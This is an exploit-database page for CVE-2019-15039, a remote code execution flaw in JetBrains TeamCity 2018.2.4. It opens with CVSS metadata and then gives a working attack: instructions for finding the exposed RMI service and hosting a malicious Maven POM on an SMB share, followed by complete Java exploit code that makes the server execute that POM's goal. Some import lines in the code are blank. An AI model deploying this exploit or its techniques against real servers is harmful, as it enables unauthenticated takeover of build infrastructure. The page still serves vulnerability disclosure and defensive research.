JetBrains TeamCity 2018.2.4 Remote Code Execution

Credit: Harrison Neal
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution # Date: 2020-01-07 # Exploit Author: Harrison Neal # Vendor Homepage: # Software Link: # Version: 2018.2.4 for Windows # CVE: CVE-2019-15039 # You'll need a few .jars from a copy of TeamCity to compile and run this code # To compile, file path should match ${package}/${class}.java, e.g., # com/whatdidibreak/teamcity_expl/ # Instructions for Windows (easier case): # 1) Verify exploitability. # 1a) Verify the remote host is running Windows, e.g. checking for common # running services and their versions. # 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port # scan using nmap and the rmi-dumpregistry script. On one port, there # should be a registry with an object named teamcity-mavenServer. This # object should point to a second open port that is also identified as # Java RMI. # 2) Prepare the payload. # 2a) There needs to be an SMB share that the TeamCity software can read from # and that you can write to. You might establish a share on your own # system and make it accessible to anonymous users. Alternatively, if the # TeamCity server is domain-joined, you might find a pre-existing share # elsewhere in the domain. # 2b) Place a malicious POM in that share, e.g. <project> <modelVersion>4.0.0</modelVersion> <groupId></groupId> <artifactId>my-module</artifactId> <version>1</version> <build> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <version>1.1.1</version> <executions> <execution> <goals> <goal>exec</goal> </goals> </execution> </executions> <configuration> <executable>calc</executable> <arguments> <argument>-testarg</argument> </arguments> </configuration> </plugin> </plugins> </build> </project> # 3) Run this exploit. # Argument #1: TeamCity host (IP or FQDN) # Argument #2: Port of RMI Registry (the first open port described above) # Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml) # Argument #4: POM goal (e.g., exec:exec) # NOTE: It is possible to exploit this issue in other situations, e.g. if the # TeamCity server is running on a *nix system that allows access to some local # directory over NFS. */ package com.whatdidibreak.teamcity_expl; import; import; import; import; import; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.RMISocketFactory; import java.util.ArrayList; import java.util.List; import jetbrains.buildServer.maven.remote.MavenServer; import jetbrains.buildServer.maven.remote.RemoteEmbedder; import org.jetbrains.maven.embedder.MavenEmbedderSettings; import org.jetbrains.maven.embedder.MavenExecutionResult; public class Main { public static void main(String[] args) throws Throwable { String host = args[0]; int port = Integer.parseInt(args[1]); String pomPath = args[2]; String goal = args[3]; // The exported object may point to a different host than what we're // using to connect to the registry, which could break things, i.e., // - localhost // - for a multi-homed target, an IP we can't connect to // - a FQDN or hostname we can't resolve // - etc. // For this reason, we'll set up a socket factory that forces all // connections to go to the host specified by the user, ignoring the // host pointed to by the exported object. OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host); RMISocketFactory.setSocketFactory(sf); // The rest of the code in this method should look fairly typical for // interacting with remote objects using RMI. Registry r = LocateRegistry.getRegistry(host, port, sf); MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer"); MavenEmbedderSettings mes = new MavenEmbedderSettings(); RemoteEmbedder re = ms.exportEmbedder(mes); File f = new File(pomPath); List ap = new ArrayList(); List g = new ArrayList(); g.add(goal); MavenExecutionResult mer = re.execute(f, ap, g); } private static class OverrideHostSocketFactory extends RMISocketFactory { private String targetHost; public OverrideHostSocketFactory(String targetHost) { this.targetHost = targetHost; } @Override public Socket createSocket(String host, int port) throws IOException { Socket toReturn = new Socket(); toReturn.connect(new InetSocketAddress(targetHost, port)); return toReturn; } @Override public ServerSocket createServerSocket(int port) throws IOException { throw new UnsupportedOperationException("Not supported yet."); } } }

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top